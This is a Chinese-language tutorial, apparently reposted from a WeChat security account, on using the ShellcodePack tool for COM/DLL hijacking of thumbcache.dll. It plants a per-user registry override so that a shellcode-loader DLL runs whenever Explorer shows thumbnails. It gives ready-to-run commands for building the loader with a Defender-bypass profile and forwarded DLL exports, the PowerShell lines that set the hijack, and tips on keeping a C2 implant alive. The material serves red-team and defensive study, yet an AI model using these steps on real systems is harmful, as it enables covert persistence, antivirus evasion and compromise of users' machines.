下面是使用 BallisKit ShellcodePack(版本 2.7.2 及以上)执行一些 DLL 劫持的小教程。
在我们的例子中,我们将使用 thumbcache.dll 上的 COM 劫持来在每次浏览 Explorer 时触发有效负载。
背景
浏览带有缩略图的文件夹将触发执行 CLSID 为 {AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} 的 COM 对象。
通过查看HKEY_CLASSES_ROOTCLSID{AB8902B4–09CA-4bb6-B78D-A8F59079A8D5}InprocServer32我们可以看到对象实现位于C:WindowsSystem32thumbcache.dll
Procmon thumbcache.dll 加载
您可以在此处看到,当浏览文件夹时,DllHost.exe 会加载 thumbcache.dll。使用 ProcMon 我们还可以看到,系统将首先加载 HKEY_CLASS_USER 中定义的值(如果存在)。
我们将使用该功能来运行 shellcode 加载器 DLL。
步骤1、生成shellcode加载器DLL
ShellcodePack 支持多种策略来从 DLL 加载 shellcode。在这里,我们选择从 DLL_MAIN 加载 shellcode。我们使用dll-proxy选项自动将导出的函数调用转发到原始 DLL。我们还使用dll-increase-reference-count来避免过早卸载我们的恶意 DLL。
让我们使用下一个命令行来生成我们的 DLL:
shellcode_pack.exe -i “x64shellcode.bin” -G “C:mypaththumbcache.dll” --arch =win_x64 --bypass --dll-increase-reference-count --dll-proxy= “c:windowssystem32thumbcache.dll”
--bypass -profile=bypass_profilesdefender_bypass_profile.json
步骤2、注册表中的COM劫持
使用下一个 PowerShell 命令行设置注册表
New-Item -Path "HKCU:SoftwareClassesCLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"New-Item -Path "HKCU:SoftwareClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:mypaththumbcache.dll"New-ItemProperty -Path "HKCU:SoftwareClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}InprocServer32" -Name "ThreadingModel" -Value "Apartment"
预期生成的注册表项
步骤 3,利用!
打开资管理器,单击带有缩略图的文件夹,例如“此电脑”。 shellcode 已启动!
步骤 4、清理
使用以下命令清理注册表:
Remove-Item -Path "HKCU:SoftwareClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
限制和解决方法:
在 COM 劫持场景中,被劫持的进程关闭时(在我们的示例中为几秒钟后),您的 shellcode 将被中断。如果 shellcode 是 C2 植入程序,您可能需要在发生这种情况之前迁移到另一个进程。
解决方法是删除dll-proxy选项。在这种情况下,进程可能不会很快关闭,因为它对 DLL 的调用会失败。缺点是这可能无法在所有情况下都起作用。
劫持后保持目标进程存活的命令示例:
shellcode_pack.exe -i "x64shellcode.bin" -G "C:mypaththumbcache.dll" --arch=win_x64 --bypass --dll-increase-reference-count
另一种选择;您可以从导出函数运行 shellcode,而不是从 DLL_MAIN 运行 shellcode 并代理导出函数。
您可以使用dll-run-shellcode-from-dll-export来执行此操作,并使用dll-export=DLL_EXPORT_NAME重命名默认的 ShellcodePack 导出函数。
从导出函数加载的问题在于,在 DLL 劫持的情况下,调用程序可能无法正常运行。
原文始发于微信公众号(Ots安全):使用 ShellcodePack 进行 DLL 劫持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论